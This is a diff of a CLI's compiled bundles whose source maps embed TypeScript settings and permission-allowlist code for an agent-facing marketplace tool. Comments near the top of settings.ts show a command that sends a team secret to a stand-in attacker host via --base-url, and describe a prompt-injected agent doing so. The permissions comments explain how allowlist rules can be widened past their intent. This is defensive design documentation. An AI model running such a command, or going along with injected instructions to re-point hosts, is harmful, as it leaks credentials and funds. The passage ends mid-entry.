231
|
projectRoot
|
|
243
232
|
};
|
|
244
|
-
//# sourceMappingURL=chunk-
|
|
233
|
+
//# sourceMappingURL=chunk-5DOHKQ24.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"sources":["../src/lib/settings.ts"],"sourcesContent":["import { execFile } from 'node:child_process';\nimport { readFile, stat } from 'node:fs/promises';\nimport { homedir } from 'node:os';\nimport { basename, dirname, join, resolve, sep } from 'node:path';\nimport { z } from 'zod';\nimport { CliError } from './errors';\nimport {\n CONFIG_DEFAULTS,\n PublishModeSchema,\n SEND_MAX_UNSET,\n loadRawConfig,\n resolveAckServerWarnings,\n resolvePublishDefaultPrice,\n resolvePublishMode,\n resolveSettings,\n} from './config';\nimport type {\n AckServerWarnings,\n EffectiveSettings,\n PartialConfig,\n Provenance,\n ProjectPublishLayer,\n PublishMode,\n} from './config';\nimport type { ShelfBypass } from './http';\nimport { parseUsdToAtomic } from './money';\nimport { PRODUCTION_ORIGIN, isSameDeployment } from './production-origin';\nimport type { SpendPolicy } from './policy';\nimport type { CommandContext } from '../context';\n\n/**\n * The effective runtime settings a B2 command needs, resolved once through the\n * same precedence (flag > env > file > default) config/doctor use. Spend values\n * arrive atomic from config and are handed on as bigint for the policy layer.\n */\nexport interface ResolvedSettings {\n baseUrl: string;\n /**\n * `baseUrl` AS THE CONFIG FILE NAMES IT, before `--base-url`/`TENJIN_BASE_URL`.\n * Anything that wallet-signs pins to this rather than to {@link baseUrl}: a\n * flag can point a run at another host, and an agent that names one must not\n * thereby move the pin. Same rule, same reason, as {@link resolveShelfBypass}.\n */\n configuredBaseUrl: string;\n /** The public marketplace: the second shelf a team-mode search falls through\n * to, and the one other origin `read`/`buy`/`inspect` will resolve against. */\n publicShelfUrl: string;\n /**\n * The team shelf's bypass secret paired with the CONFIGURED `baseUrl`'s\n * origin, or undefined in public mode and on a run whose base URL came from\n * `--base-url`/`TENJIN_BASE_URL` (see {@link resolveShelfBypass}). Handed to\n * the transport, which attaches the header from the REQUEST URL — so it cannot\n * reach `publicShelfUrl` however it is passed.\n */\n bypass?: ShelfBypass;\n /** True exactly when the door key was issued: the one switch between public\n * mode and team mode. */\n teamMode: boolean;\n rpcUrl: string;\n policy: SpendPolicy;\n /** Search-only privacy opt-in; sends X-Tenjin-Eval-Cohort: 1 when true. */\n evalCohort: boolean;\n /** x402 discovery registries `discover` queries and the pay lane verifies against. */\n bazaarRegistries: string[];\n /**\n * Hard per-send cap for `tenjin wallet send`: SEND_MAX_UNSET = never configured\n * (send refuses until `config set sendMaxAmount`), null = explicit \"none\"\n * (uncapped opt-in), 0n = disabled, otherwise the atomic cap.\n */\n sendMaxAmountAtomic: bigint | null | typeof SEND_MAX_UNSET;\n}\n\n/** `URL.origin`, or undefined for anything unparseable. */\nfunction tryOrigin(url: string): string | undefined {\n try {\n return new URL(url).origin;\n } catch {\n return undefined;\n }\n}\n\n/**\n * The team shelf's door key, paired with the origin THE OPERATOR CONFIGURED —\n * never with the one this run happens to be pointed at.\n *\n * `shelfBypassSecret` is file-only, but `baseUrl` is not: `--base-url` and\n * `TENJIN_BASE_URL` outrank the file. Pairing the secret with the RESOLVED base\n * URL therefore let one command hand the team's key to any host that was named\n * on the command line — `tenjin search --base-url https://attacker.example \"…\"`\n * sends it in the first request, and the transport's origin test agrees, because\n * the pair it compares against was built from the attacker's URL. That is not a\n * hypothetical shape: `resource-ref`'s own refusal text already names a\n * task-supplied `--base-url` as the attack a prompt-injected agent runs.\n *\n * So the compare happens here, once, before the pair exists: the key is issued\n * only when the run is still pointed at the configured shelf. A run pointed\n * anywhere else gets NO pair at all, which also drops team mode — an overridden\n * base URL runs as an ordinary public-mode run, with the client scan and the\n * confirm cascade back on, rather than as a team-mode run against a stranger.\n *\n * The generated hooks need no equivalent for the flag rule: they read `baseUrl`\n * straight out of config.json and have no flag or env layer to be re-pointed\n * through. They DO carry the second rule below (`teamShelfOrigin`).\n *\n * SECOND RULE: THE TEAM SHELF MUST BE A SHELF OF ITS OWN. Team mode was keyed on\n * a non-empty secret alone, and both `baseUrl` and `publicShelfUrl` default to\n * tenjin.blog, so the two-command day-0 setup run in the other order — or the\n * secret line alone on a second machine — put a machine in \"team mode\" pointed\n * at the PUBLIC MARKETPLACE. Team mode is precisely the mode that skips the\n * publish scan, skips the confirm cascade and prices at 0, so under\n * `publish.mode full-auto` that misconfiguration auto-publishes internal\n * codebase notes to tenjin.blog, unscanned and unacknowledged; it also posts the\n * team's key to the public marketplace and searches one origin twice per fire.\n * A secret with no private shelf behind it is a setup that is not finished, so\n * it fails safe to public mode rather than half-on. `tenjin doctor` and\n * `config set shelfBypassSecret` say so out loud, because silence here is what\n * made the misconfiguration survivable.\n */\nexport function resolveShelfBypass(\n config: PartialConfig,\n s: EffectiveSettings,\n): ShelfBypass | undefined {\n const secret = s.shelfBypassSecret.value;\n if (secret.length === 0) return undefined;\n const configured = tryOrigin(config.baseUrl ?? CONFIG_DEFAULTS.baseUrl);\n const effective = tryOrigin(s.baseUrl.value);\n if (configured === undefined || effective === undefined || configured !== effective) {\n return undefined;\n }\n if (!isTeamShelfOrigin(configured, s.publicShelfUrl.value)) return undefined;\n return { origin: configured, secret };\n}\n\n/**\n * Is `origin` a shelf of the team's own, as opposed to the public marketplace?\n *\n * The compare `resource-ref` already makes to no-op its second-origin allowance,\n * plus the production origin itself: a `publicShelfUrl` pointed somewhere else\n * must not make tenjin.blog read as private. `isSameDeployment` rather than `===`\n * so an alias of production (tenjin.sh) is not a loophole.\n */\nexport function isTeamShelfOrigin(origin: string, publicShelfUrl: string): boolean {\n if (isSameDeployment(origin, PRODUCTION_ORIGIN)) return false;\n const publicOrigin = tryOrigin(publicShelfUrl);\n return publicOrigin === undefined || !isSameDeployment(origin, publicOrigin);\n}\n\n/**\n * Is this MACHINE in team mode — a shelf of the team's own plus the door key that\n * opens it? The same two-part rule `resolveContextSettings` applies\n * (`ResolvedSettings.teamMode`), read off the raw config instead of resolved\n * settings, and the difference is deliberate: a `--base-url` or `TENJIN_BASE_URL`\n * on one invocation must not answer this question.\n *\n * The installed skill text (lib/skill-materialize) needs the raw-config form: it\n * outlives the command that wrote it and is read by every later session on this\n * machine, so shaping it by a one-off flag would leave a team machine reading\n * public guidance until the next install.\n *\n * A secret with `baseUrl` still on the marketplace is NOT team mode, per\n * {@link isTeamShelfOrigin}: that half-set state runs as ordinary public mode\n * rather than treating tenjin.blog as a private shelf.\n */\nexport function isTeamModeConfig(config: PartialConfig): boolean {\n const secret = config.shelfBypassSecret ?? CONFIG_DEFAULTS.shelfBypassSecret;\n if (typeof secret !== 'string' || secret === '') return false;\n const origin = tryOrigin(config.baseUrl ?? CONFIG_DEFAULTS.baseUrl);\n if (origin === undefined) return false;\n return isTeamShelfOrigin(origin, config.publicShelfUrl ?? CONFIG_DEFAULTS.publicShelfUrl);\n}\n\n/** Where a close for one stored search has to go, and whether it carries the key. */\nexport interface ShelfRoute {\n baseUrl: string;\n bypass?: ShelfBypass;\n /**\n * False when the ENTRY named a shelf other than the configured `baseUrl` —\n * including an unrecognised origin, which `baseUrl` above nonetheless routes\n * back to the configured shelf.\n */\n configured: boolean;\n}\n\n/**\n * THE SHELF THAT ANSWERED, for anything closing a loop.\n *\n * A team-mode search asks the team shelf and falls through to the public\n * marketplace, and the two have separate databases: the searchId the public leg\n * minted exists only there. Posting its outcome to the team shelf tells the team\n * shelf about a search it never ran (where it retries a parent-not-visible window\n * and then raises `outcomes_dropped_no_parent`, an alarm meant to mean a broken\n * fleet) and tells the marketplace — whose demand signal is the entire reason the\n * verb exists — nothing at all.\n *\n * `shelfBaseUrl` is absent on an entry written before it existed and on every\n * single-shelf public-mode run, and absent means the configured base, which is\n * what those entries meant.\n *\n * ONLY THE TWO CONFIGURED SHELVES ARE ROUTABLE. `shelfBaseUrl` is a plain\n * optional string in the store schema with no URL validation, and the only\n * writers are this CLI's own two configured values — so any OTHER origin in that\n * field is a corrupt or planted entry, not a third shelf, and one hand-edited\n * search row would otherwise make `tenjin outcome --search-id` POST to\n * a host the operator never configured. An unrecognised origin therefore routes\n * to the configured base exactly as a missing or unparseable one does: fail open\n * to the configured shelf, never out to a foreign one. This is the same\n * re-assertion `resolveResourceRef` already makes against this store's\n * `candidate.url` before any send. `configured` still reports false for such an\n * entry, so `publish` keeps dropping its searchId rather than misfiling it.\n *\n * THE KEY RIDES THE ORIGIN, not the call site: `bypass` comes back only when the\n * route is the origin the secret was paired with. The transport re-derives the\n * same rule from the request URL ({@link shelfBypassHeaders}), so this is the\n * second of two locks rather than the only one — but a call site that reads\n * `route.bypass` should never be the place a key first goes off-origin.\n */\nexport function shelfRouteFor(\n stored: { shelfBaseUrl?: string } | null | undefined,\n settings: Pick<ResolvedSettings, 'baseUrl' | 'publicShelfUrl' | 'bypass'>,\n): ShelfRoute {\n const recorded = stored?.shelfBaseUrl;\n const configuredOrigin = tryOrigin(settings.baseUrl);\n const recordedOrigin = recorded === undefined ? undefined : tryOrigin(recorded);\n // An unparseable record is not a second shelf, it is a corrupt field: fall back\n // to the configured base rather than posting a close nowhere.\n if (recorded === undefined || recordedOrigin === undefined) {\n return {\n baseUrl: settings.baseUrl,\n ...(settings.bypass !== undefined ? { bypass: settings.bypass } : {}),\n configured: true,\n };\n }\n const configured =\n configuredOrigin !== undefined && isSameDeployment(recordedOrigin, configuredOrigin);\n // The allow-list: the configured base, or the public shelf it falls through to.\n // Nothing else is a shelf this machine ever searched.\n const publicOrigin = tryOrigin(settings.publicShelfUrl);\n const routable =\n configured || (publicOrigin !== undefined && isSameDeployment(recordedOrigin, publicOrigin));\n if (!routable) {\n return {\n baseUrl: settings.baseUrl,\n ...(settings.bypass !== undefined ? { bypass: settings.bypass } : {}),\n configured: false,\n };\n }\n const carries = settings.bypass !== undefined && settings.bypass.origin === recordedOrigin;\n return {\n baseUrl: recorded,\n ...(carries ? { bypass: settings.bypass } : {}),\n configured,\n };\n}\n\nexport async function resolveContextSettings(ctx: CommandContext): Promise<ResolvedSettings> {\n const config = await loadRawConfig(ctx.dataDir);\n const s = resolveSettings({ config, flags: { baseUrl: ctx.flags.baseUrl }, env: process.env });\n // Paired with the origin here, once, so no command has to remember to.\n const bypass = resolveShelfBypass(config, s);\n return {\n baseUrl: s.baseUrl.value,\n configuredBaseUrl: config.baseUrl ?? CONFIG_DEFAULTS.baseUrl,\n publicShelfUrl: s.publicShelfUrl.value,\n ...(bypass !== undefined ? { bypass } : {}),\n teamMode: bypass !== undefined,\n rpcUrl: s.rpcUrl.value,\n evalCohort: s.evalCohort.value,\n bazaarRegistries: s.bazaarRegistries.value,\n sendMaxAmountAtomic:\n s.sendMaxAmount.value === SEND_MAX_UNSET\n ? SEND_MAX_UNSET\n : s.sendMaxAmount.value === 'none'\n ? null\n : BigInt(s.sendMaxAmount.value),\n policy: {\n maxAutoSpendAtomic: BigInt(s.maxAutoSpend.value),\n sessionBudgetAtomic: s.sessionBudget.value === 'none' ? null : BigInt(s.sessionBudget.value),\n allowlistCreators: s.allowlistCreators.value,\n },\n };\n}\n\n// ---------------------------------------------------------------------------\n// Publish consent settings (B3, D38)\n//\n// The publish mode/price cascade extends the same precedence machinery\n// (resolvePublishMode / resolvePublishDefaultPrice in lib/config) with a\n// per-project layer that needs I/O the pure resolvers can't do: it walks up from\n// cwd for a `.tenjin.json` and asks git whether that file is committed (the\n// loosening gate on `full-auto`). It lives here beside resolveContextSettings so\n// there is one settings resolver, not a parallel one.\n// ---------------------------------------------------------------------------\n\nexport const PROJECT_CONFIG_FILE = '.tenjin.json';\n\n/**\n * The per-project override file. `publish.defaultPrice` is DECIMAL USD (\"0.10\"),\n * because a hand-edited project file is a human edge (O1) — unlike config.json,\n * which stores atomic because `config set` converts at the command edge. The\n * decimal string is converted to atomic at load via the same money util the\n * config command uses. Partial + passthrough: forward-compatible with subkeys a\n * newer CLI adds, same posture as the global config.\n */\nconst ProjectConfigSchema = z\n .object({\n publish: z\n .object({\n mode: PublishModeSchema.optional(),\n defaultPrice: z.string().optional(),\n })\n .passthrough()\n .optional(),\n })\n .passthrough();\n\nexport interface LoadedProjectConfig {\n /** Absolute path of the discovered `.tenjin.json`. */\n path: string;\n layer: ProjectPublishLayer;\n}\n\nexport interface PublishSettingsDeps extends ProjectWalkDeps {\n /** git check-ignore seam; defaults to shelling out to git (see wallet/passphrase). */\n isGitignored?: (filePath: string) => Promise<boolean>;\n}\n\nexport interface ResolvedPublishSettings {\n mode: PublishMode;\n modeSource: Provenance;\n defaultPriceAtomic: string;\n defaultPriceSource: Provenance;\n /** The standing answer to the server gate's warn tier; see lib/consent.ts. */\n ackServerWarnings: AckServerWarnings;\n /** Non-fatal notices for stderr (e.g. the full-auto downgrade). */\n warnings: string[];\n /** The `.tenjin.json` that contributed the project layer, if one was found. */\n projectConfigPath?: string;\n}\n\n/**\n * Resolve the effective publish mode + default price across every layer:\n * global config.json < project `.tenjin.json` < env (TENJIN_PUBLISH_MODE) <\n * flag (`--mode`), with the `full-auto` loosening gate applied to the project\n * layer. The seam a `publish` command (B3.2) resolves its consent through.\n */\nexport async function resolvePublishSettings(\n input: { dataDir: string; cwd: string; flag?: string; env?: NodeJS.ProcessEnv },\n deps: PublishSettingsDeps = {},\n): Promise<ResolvedPublishSettings> {\n const env = input.env ?? process.env;\n const config = await loadRawConfig(input.dataDir);\n const project = await loadProjectConfig(input.cwd, deps);\n const layer = project?.layer;\n\n const mode = resolvePublishMode({ config, project: layer, env, flag: input.flag });\n const price = resolvePublishDefaultPrice({ config, project: layer });\n const warnings = mode.downgradedWarning !== undefined ? [mode.downgradedWarning] : [];\n // Said out loud for the same reason the downgrade is: a consent setting the\n // operator believes is in force, and is not, is worse than one they know is\n // ignored. `writeModeNotices` puts every entry of this list on stderr.\n if (layer?.ignoredAckServerWarnings === true) {\n warnings.push(\n `Ignoring publish.ackServerWarnings in ${project?.path ?? PROJECT_CONFIG_FILE}: it is read from the global config only, since it can only widen what a yes covers. Set it with \\`tenjin config set publish.ackServerWarnings <mode|on|off>\\`.`,\n );\n }\n\n return {\n mode: mode.value,\n modeSource: mode.source,\n defaultPriceAtomic: price.value,\n defaultPriceSource: price.source,\n // Global config only, on purpose: the project layer never contributes here,\n // so `project` is deliberately not passed. ONE reader, the same one\n // `resolveSettings` uses, because two global-only readings that drifted\n // would drift about consent.\n ackServerWarnings: resolveAckServerWarnings(config).value,\n warnings,\n ...(project !== null ? { projectConfigPath: project.path } : {}),\n };\n}\n\n/**\n * Find the nearest `.tenjin.json` walking up from cwd toward the repo root (the\n * first directory holding a `.git`, inclusive), never crossing above $HOME, then\n * load, validate, and check whether it is gitignored. A file not owned by the\n * current user is ignored with a stderr warning (a planted config on a shared\n * host must not become the honored project layer). Null when none is found; a\n * present-but-unreadable/malformed file is CONFIG_INVALID (never silently\n * skipped).\n */\nexport async function loadProjectConfig(\n cwd: string,\n deps: PublishSettingsDeps = {},\n): Promise<LoadedProjectConfig | null> {\n const path = await findProjectConfigFile(cwd, deps);\n if (path === null) return null;\n\n let json: unknown;\n try {\n // readFile is inside the try: a raced delete (ENOENT), a directory named\n // .tenjin.json (EISDIR), or a permission error (EACCES) is a bad project file,\n // not an INTERNAL fault.\n json = JSON.parse(await readFile(path, 'utf8'));\n } catch (err) {\n throw new CliError('CONFIG_INVALID', `${PROJECT_CONFIG_FILE} at ${path} could not be read`, {\n fix: `Fix or delete ${path} (must be a readable JSON file).`,\n cause: err,\n });\n }\n const parsed = ProjectConfigSchema.safeParse(json);\n if (!parsed.success) {\n throw new CliError('CONFIG_INVALID', `${PROJECT_CONFIG_FILE} at ${path} is invalid`, {\n fix: `Correct the reported keys in ${path}, or delete it.`,\n details: parsed.error.issues,\n });\n }\n\n const isGitignored = deps.isGitignored ?? defaultIsGitignored;\n const gitignored = await isGitignored(path);\n const layer: ProjectPublishLayer = { gitignored };\n if (parsed.data.publish !== undefined) {\n const { mode, defaultPrice } = parsed.data.publish;\n layer.publish = {\n ...(mode !== undefined ? { mode } : {}),\n ...(defaultPrice !== undefined\n ? { defaultPrice: parseProjectPrice(defaultPrice, path) }\n : {}),\n };\n // The block is passthrough, so this key parses here and is then never read:\n // `ackServerWarnings` is global-only because it can only loosen what a yes\n // covers. Failing closed is the point, but doing it SILENTLY leaves an\n // operator believing a consent setting is in force that is not, so it says\n // so on stderr the way a downgraded `full-auto` does.\n if ((parsed.data.publish as { ackServerWarnings?: unknown }).ackServerWarnings !== undefined) {\n layer.ignoredAckServerWarnings = true;\n }\n }\n return { path, layer };\n}\n\n/**\n * Convert a `.tenjin.json` decimal-USD price to atomic via the shared money\n * parser. parseUsdToAtomic throws USAGE on a bad amount; re-raise as\n * CONFIG_INVALID naming the file, so it reads like the file's other errors.\n */\nfunction parseProjectPrice(decimalUsd: string, path: string): string {\n try {\n return parseUsdToAtomic(decimalUsd);\n } catch (err) {\n throw new CliError(\n 'CONFIG_INVALID',\n `${PROJECT_CONFIG_FILE} at ${path} has an invalid publish.defaultPrice`,\n { fix: 'Use a non-negative decimal USD amount like \"0.10\".', cause: err },\n );\n }\n}\n\nasync function findProjectConfigFile(\n cwd: string,\n deps: PublishSettingsDeps,\n): Promise<string | null> {\n const hit = await findNearestProjectFiles(cwd, [PROJECT_CONFIG_FILE], deps);\n return hit?.found[0] ?? null;\n}\n\nexport interface ProjectWalkDeps {\n /** Ownership seam; defaults to stat().uid vs process uid. Gates a planted file. */\n isForeignOwned?: (filePath: string) => Promise<boolean>;\n /** One-line stderr warning sink; defaults to process.stderr. */\n warn?: (message: string) => void;\n /** Upper bound of the walk; defaults to the user's home directory. */\n homeDir?: string;\n}\n\nexport interface ProjectWalkHit {\n /** The directory the walk stopped in. */\n dir: string;\n /** Every candidate present there and owned by this user, in `names` order. */\n found: string[];\n}\n\n/**\n * THE ONE WALK UP FROM A WORKING DIRECTORY to a project file, shared by the\n * shelf's `.tenjin.json` and the router's `.tenjin/config.json` pair: the\n * nearest directory, walking up from `cwd`, that holds at least one of\n * `names` (paths relative to that directory). `homeIsProject: false` stops\n * before looking in $HOME itself, for a file whose home copy is the global one.\n */\nexport async function findNearestProjectFiles(\n cwd: string,\n names: readonly string[],\n deps: ProjectWalkDeps & { homeIsProject?: boolean } = {},\n): Promise<ProjectWalkHit | null> {\n const homeDir = deps.homeDir ?? homedir();\n\n let dir = cwd;\n // Bounded by $HOME (a shared-host trust boundary) and the filesystem root\n // (dirname('/') === '/'), whichever comes first.\n for (;;) {\n if (dir === homeDir && deps.homeIsProject === false) return null;\n const found = await ownedCandidates(dir, names, deps);\n if (found.length > 0) return { dir, found };\n if (await pathExists(join(dir, '.git'))) return null; // repo root, no file\n if (dir === homeDir) return null; // never cross above $HOME\n const parent = dirname(dir);\n if (parent === dir) return null;\n dir = parent;\n }\n}\n\n/**\n * EVERY directory from `cwd` up to the git root (inclusive) that holds one of\n * `names`, nearest first, under the same bounds as\n * {@link findNearestProjectFiles}; `gitRoot` is null outside a repository.\n * For layers that each only tighten, where reading one more can never loosen.\n */\nexport async function findAllProjectFiles(\n cwd: string,\n names: readonly string[],\n deps: ProjectWalkDeps & { homeIsProject?: boolean } = {},\n): Promise<{ levels: ProjectWalkHit[]; gitRoot: string | null }> {\n const homeDir = deps.homeDir ?? homedir();\n const levels: ProjectWalkHit[] = [];\n let dir = cwd;\n for (;;) {\n if (dir === homeDir && deps.homeIsProject === false) return { levels, gitRoot: null };\n const found = await ownedCandidates(dir, names, deps);\n if (found.length > 0) levels.push({ dir, found });\n if (await pathExists(join(dir, '.git'))) return { levels, gitRoot: dir };\n if (dir === homeDir) return { levels, gitRoot: null };\n const parent = dirname(dir);\n if (parent === dir) return { levels, gitRoot: null };\n dir = parent;\n }\n}\n\n/**\n * The main working tree behind a git worktree whose root is `gitRoot`, or null\n * when `gitRoot` is not a linked worktree. Filesystem only, no `git` process:\n * the worktree's `.git` FILE names its gitdir, whose `commondir` names the\n * main repository's `.git`. A bare common dir, one that resolves outside\n * $HOME, and a submodule (a gitdir with no `commondir`) all give null.\n */\nexport async function mainWorktreeOf(\n gitRoot: string,\n homeDir: string = homedir(),\n): Promise<string | null> {\n try {\n const dotGit = join(gitRoot, '.git');\n if (!(await stat(dotGit)).isFile()) return null;\n const line = /^gitdir:\\s*(.+?)\\s*$/m.exec(await readFile(dotGit, 'utf8'));\n if (line === null) return null;\n const gitdir = resolve(gitRoot, line[1]!);\n const commonDir = resolve(gitdir, (await readFile(join(gitdir, 'commondir'), 'utf8')).trim());\n if (basename(commonDir) !== '.git' || !(await stat(commonDir)).isDirectory()) return null;\n const main = dirname(commonDir);\n if (main === gitRoot || !main.startsWith(`${homeDir}${sep}`)) return null;\n return main;\n } catch {\n return null;\n }\n}\n\n/** The candidates present in `dir` and owned by this user, in `names` order. */\nexport async function ownedCandidates(\n dir: string,\n names: readonly string[],\n deps: ProjectWalkDeps = {},\n): Promise<string[]> {\n const isForeignOwned = deps.isForeignOwned ?? defaultIsForeignOwned;\n const warn = deps.warn ?? ((message: string) => process.stderr.write(`${message}\\n`));\n const found: string[] = [];\n for (const name of names) {\n const candidate = join(dir, name);\n if (!(await pathExists(candidate))) continue;\n if (await isForeignOwned(candidate)) {\n // A file owned by another user (e.g. /tmp/.tenjin.json on a shared box)\n // must never become the honored layer; skip it and keep walking.\n warn(`Ignoring ${candidate}: not owned by the current user.`);\n } else {\n found.push(candidate);\n }\n }\n return found;\n}\n\n/**\n * The directory a project file belongs in when none exists yet: the git root\n * above `cwd`, or `cwd` itself outside a repository. Same bounds as the walk.\n */\nexport async function projectRoot(cwd: string, homeDir: string = homedir()): Promise<string> {\n let dir = cwd;\n for (;;) {\n if (await pathExists(join(dir, '.git'))) return dir;\n if (dir === homeDir) return cwd;\n const parent = dirname(dir);\n if (parent === dir) return cwd;\n dir = parent;\n }\n}\n\n/**\n * True when the file is owned by a different uid than the process. On a platform\n * without a uid model (Windows: process.getuid is undefined) this is always\n * false — the ownership gate is a POSIX shared-host protection.\n */\nasync function defaultIsForeignOwned(filePath: string): Promise<boolean> {\n const uid = process.getuid?.();\n if (uid === undefined) return false;\n try {\n return (await stat(filePath)).uid !== uid;\n } catch {\n return false;\n }\n}\n\n/** True when a path exists (of any type). */\nexport async function pathExists(path: string): Promise<boolean> {\n try {\n await stat(path);\n return true;\n } catch {\n return false;\n }\n}\n\n/**\n * True only on a git check-ignore exit 0 (the path is ignored). Exit 1 (tracked)\n * and any error (git absent, not a repo) resolve false: `full-auto` is honored\n * from a project file ONLY when git positively confirms it is ignored. Uses\n * execFile with an argv array (never a shell), matching wallet/passphrase.ts.\n */\nfunction defaultIsGitignored(filePath: string): Promise<boolean> {\n return new Promise((resolve) => {\n execFile(\n 'git',\n ['check-ignore', '--quiet', '--', filePath],\n { cwd: dirname(filePath) },\n (err) => resolve(err === null),\n );\n });\n}\n"],"mappings":";;;;;;;;;;;;;;;;;;;AAAA,SAAS,gBAAgB;AACzB,SAAS,UAAU,YAAY;AAC/B,SAAS,eAAe;AACxB,S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AC;AACH;","names":["resolve"]}
|
|
@@ -1,9 +1,4 @@
|
|
|
1
1
|
import { createRequire as __tenjinCreateRequire } from 'node:module'; const require = __tenjinCreateRequire(import.meta.url);
|
|
2
|
-
import {
|
|
3
|
-
HashMD,
|
|
4
|
-
secp256k1,
|
|
5
|
-
sha256
|
|
6
|
-
} from "./chunk-JRGFKVAZ.js";
|
|
7
2
|
import {
|
|
8
3
|
BaseError,
|
|
9
4
|
BytesSizeMismatchError,
|
|
@@ -45,6 +40,11 @@ import {
|
|
|
45
40
|
import {
|
|
46
41
|
keccak_256
|
|
47
42
|
} from "./chunk-KG3D7FIF.js";
|
|
43
|
+
import {
|
|
44
|
+
HashMD,
|
|
45
|
+
secp256k1,
|
|
46
|
+
sha256
|
|
47
|
+
} from "./chunk-JRGFKVAZ.js";
|
|
48
48
|
import {
|
|
49
49
|
clean,
|
|
50
50
|
createHasher,
|
|
@@ -1182,4 +1182,4 @@ export {
|
|
|
1182
1182
|
ripemd1602 as ripemd160,
|
|
1183
1183
|
keccak2562 as keccak256
|
|
1184
1184
|
};
|
|
1185
|
-
//# sourceMappingURL=chunk-
|
|
1185
|
+
//# sourceMappingURL=chunk-6DCELMQA.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"sources":["../src/lib/permissions.ts"],"sourcesContent":["/**\n * The recommended HARNESS permission allowlist: the exact rule lines an operator\n * pastes into Claude Code (or an equivalent harness) so auto mode stops denying\n * the free Tenjin verbs, and so the one paying verb is cleared deliberately\n * rather than by accident.\n *\n * This is a HARNESS-side allowlist (which shell commands the agent may run at\n * all). It is NOT the CLI's spend policy and shares nothing with it: the shipped\n * `allowlistCreators` config key gates WHO you may pay, this file gates WHICH\n * COMMANDS the harness will run without a prompt. The two are deliberately kept\n * apart in name and in code — clearing `Bash(tenjin buy:*)` here never raises a\n * spend cap. That is a claim about this file, NOT a claim that the spend policy\n * stops an allowlisted `buy`: `--yes` is an ordinary flag on an allowlisted verb\n * and `confirmSpend` returns true on it before any TTY check\n * (src/commands/buy.ts), so under CONFIG_DEFAULTS nothing denies. See\n * OPT_IN_ALLOWLIST's note for the walk-through.\n *\n * These are static, shipped constants on purpose: there is NO config key for\n * them. An operator-editable \"which commands may run\" list stored next to the\n * spend policy would be a second, weaker copy of a control the harness already\n * owns, and a CLI that could widen its own permission grant is exactly the shape\n * this file exists to avoid.\n *\n * Scope: `tenjin mcp` exposes the same command cores over MCP, where the harness\n * gates TOOLS, not Bash lines. These rules say nothing about that surface, which\n * is why `tenjin mcp` is itself never recommended here: clearing it would route\n * around every rule below. MCP_CAVEAT names the tools to leave gated for an\n * operator who runs the server anyway.\n *\n * LIMIT OF A PREFIX RULE, read this before adding an entry: the rule constrains\n * the VERB and nothing else. `addGlobalFlags` (src/cli.ts) puts `--json`,\n * `--timeout`, and `--base-url` on every leaf command, so every rule below also\n * clears `--base-url <url>` in trailing position. `--base-url` is validated as a\n * URL and nothing more, and it wins settings precedence, so it re-points the\n * trust boundary itself: the `search` question goes to that host, `doctor` probes\n * it, and `assertOnBaseOrigin` only checks that a resource URL shares an origin\n * with the CONFIGURED base, so an attacker-controlled pair satisfies the pin. No\n * prefix syntax expresses \"this verb but not that flag\", so the mitigation is\n * disclosure rather than a narrower rule: FLAG_CAVEAT rides the `--json` payload\n * and docs/agent-permissions.md, every human surface points at that page, and the\n * skills tell the agent never to pass `--base-url` on an allowlisted verb. Pinning\n * the paying path to a constant origin instead is the real fix and is an\n * x402/payments-semantics change, tracked separately.\n */\n\nimport type { PublishMode } from './config';\n\n/** One pasteable allowlist rule plus why it is safe (or what it costs). */\nexport interface AllowlistEntry {\n /** The exact line to add to the harness permission allowlist. */\n rule: string;\n /** The verb it clears. */\n command: string;\n /** Why it is safe to pre-clear, or what the operator is opting into. */\n note: string;\n}\n\n/** A verb deliberately kept OUT of the recommended allowlist, and why. */\nexport interface ExcludedVerb {\n command: string;\n reason: string;\n}\n\n/**\n * FREE verbs: they CANNOT SPEND. That is the whole definition of this tier, and\n * it is deliberately narrower than the older \"no wallet, no signing, no\n * payment\" — which stopped being true the moment `read` gained the ability to\n * recover an owned piece. `read` signs, with a P-256 delegation, and mints one\n * with a wallet signature when none is live; what it cannot do is produce the\n * secp256k1/EIP-712 signature a payment authorization needs (wrong curve), which\n * is test-pinned by its import graph never reaching the payment module. Money\n * stays out of reach; a signature, and the keystore access behind minting one,\n * no longer do, so the tier says what it means. `doctor` decrypts locally to\n * check the wallet still opens.\n *\n * What the tier does NOT claim, because it is not true: that the read scope\n * limits what a leaked delegation is worth. Scope is enforced only on the request\n * shape that carries both a session signature and the delegation header; the same\n * delegation replayed as a plain `SIGN-IN-WITH-X` takes a different server path\n * where no scope logic runs. So a session file is a wallet-derived credential\n * with the authority of the wallet behind it, and the mitigations that actually\n * hold are the ones in this repo: it is 0600, short-lived (≤24h, server-clamped),\n * bound to the origin it was minted for, and never presented off that origin.\n * Treat \"read is allowlisted\" as \"read may transmit that credential to the\n * configured origin\", and see FLAG_CAVEAT for why the configured origin is not\n * automatically the one you configured.\n *\n * Not all of them are read-only, and the difference is disclosed rather than\n * papered over — `search` POSTs the (generalized, anonymous) question off-machine\n * and records it locally, `outcome` POSTs a report that moves the marketplace's\n * reuse signal (both unauthenticated remote writes), and `read` writes locally,\n * saving a delivered piece to the library, and `doctor` decrypts the keystore\n * locally to check it opens. Pre-clearing them is defensible because they cost\n * nothing and none of it leaves the machine; calling them read-only to justify it\n * would not be.\n *\n * Rules are PREFIX rules: `Bash(tenjin search:*)` clears commands that start with\n * `tenjin search` and nothing else. The narrow `wallet show` / `wallet balance` /\n * The `config get` form is deliberate: a `Bash(tenjin wallet:*)`\n * or `Bash(tenjin config:*)` rule would silently swallow `wallet create` and\n * `config set`, and `config set` can raise the spend caps.\n *\n * Two known gaps, both fail-closed (denied, never wrongly allowed):\n * - Bare `tenjin config` (runConfigList) is as read-only as `config get`, but no\n * prefix rule reaches it without also covering `config set`, so it stays out.\n * Use `tenjin config get <key>`, which is a different supported command rather\n * than a reworded one.\n * - Group-level flag forms like `tenjin wallet --json show` are not covered.\n * Put global flags AFTER the leaf verb (`tenjin wallet show --json`); the\n * CLI parses either, and only the trailing form matches these rules.\n */\nexport const ALWAYS_SAFE_ALLOWLIST: readonly AllowlistEntry[] = [\n {\n rule: 'Bash(tenjin search:*)',\n command: 'tenjin search',\n note:\n 'Free anonymous marketplace search. No wallet, no signing, no payment. ' +\n 'Not read-only: it POSTs the generalized question off-machine and records ' +\n 'the search locally.',\n },\n {\n rule: 'Bash(tenjin wallet fund:*)',\n command: 'tenjin wallet fund',\n note:\n 'Owner call 